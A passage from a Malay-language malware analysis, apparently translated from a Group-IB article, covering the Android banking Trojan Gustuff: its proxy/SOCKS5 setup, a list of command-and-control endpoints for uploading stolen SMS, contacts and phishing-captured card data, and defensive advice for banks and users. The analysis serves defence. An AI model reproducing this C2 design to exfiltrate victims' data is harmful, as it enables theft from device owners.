  • Dua kelas mengambil bahagian dalam proksi: ProxyConnection и akhir. Apabila membuat kelas ProxyConnection menyambung ke alamat ProxyConfigClass.host: ProxyConfigClass.proxyPort dan lulus objek JSON:

 {
    "id":<%connectionId%>
}

Sebagai tindak balas, pelayan menghantar mesej SOCKS5 yang mengandungi alamat pelayan jauh yang sambungannya mesti diwujudkan. Interaksi dengan pelayan ini berlaku melalui kelas akhir. Persediaan sambungan boleh digambarkan secara skematik seperti berikut:

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda

Interaksi rangkaian

Untuk mengelakkan analisis trafik oleh penghidu rangkaian, interaksi antara pelayan CnC dan aplikasi boleh dilindungi menggunakan protokol SSL. Semua data yang dihantar dari dan ke pelayan dibentangkan dalam format JSON. Aplikasi melaksanakan permintaan berikut semasa operasi:

  • http://<%CnC%>/api/v1/set_state.php - hasil pelaksanaan arahan.
  • http://<%CnC%>/api/v1/get.php - menerima arahan.
  • http://<%CnC%>/api/v1/load_sms.php — memuat turun mesej SMS daripada peranti yang dijangkiti.
  • http://<%CnC%>/api/v1/load_ab.php — memuat naik senarai kenalan daripada peranti yang dijangkiti.
  • http://<%CnC%>/api/v1/aevents.php – permintaan dibuat apabila mengemas kini parameter yang terdapat dalam fail pilihan.
  • http://<%CnC%>/api/v1/set_card.php — memuat naik data yang diperoleh menggunakan tetingkap pancingan data yang menyamar sebagai Pasaran Google Play.
  • http://<%CnC%>/api/v1/logs.php – memuat naik data log.
  • http://<%CnC%>/api/v1/records.php – memuat naik data yang diperoleh melalui tetingkap pancingan data.
  • http://<%CnC%>/api/v1/set_error.php – pemberitahuan ralat yang telah berlaku.

Cadangan

Untuk melindungi pelanggan mereka daripada ancaman Trojan mudah alih, syarikat mesti menggunakan penyelesaian komprehensif yang membolehkan mereka memantau dan menghalang aktiviti berniat jahat tanpa memasang perisian tambahan pada peranti pengguna.

Untuk melakukan ini, kaedah tandatangan untuk mengesan Trojan mudah alih perlu diperkukuh dengan teknologi untuk menganalisis kelakuan kedua-dua pelanggan dan aplikasi itu sendiri. Perlindungan itu juga harus termasuk fungsi pengenalan peranti menggunakan teknologi cap jari digital, yang akan membolehkan anda memahami apabila akaun digunakan daripada peranti atipikal dan telah pun jatuh ke tangan penipu.

Perkara asas yang penting ialah ketersediaan analisis merentas saluran, yang membolehkan syarikat mengawal risiko yang timbul bukan sahaja di Internet, tetapi juga pada saluran mudah alih, contohnya, dalam aplikasi untuk perbankan mudah alih, untuk transaksi dengan mata wang kripto dan mana-mana yang lain di mana urus niaga boleh dijalankan.urus niaga kewangan.

Peraturan keselamatan untuk pengguna:

  • jangan pasang aplikasi untuk peranti mudah alih dengan OS Android daripada mana-mana sumber selain Google Play, beri perhatian khusus kepada hak yang diminta oleh aplikasi;
  • kerap memasang kemas kini OS Android;
  • beri perhatian kepada sambungan fail yang dimuat turun;
  • jangan melawat sumber yang mencurigakan;
  • Jangan klik pada pautan yang diterima dalam mesej SMS.

Dibintangi Semyon Rogacheva, pakar junior dalam penyelidikan perisian hasad di Makmal Forensik Komputer Kumpulan-IB.

Sumber: www.habr.com

Tambah komen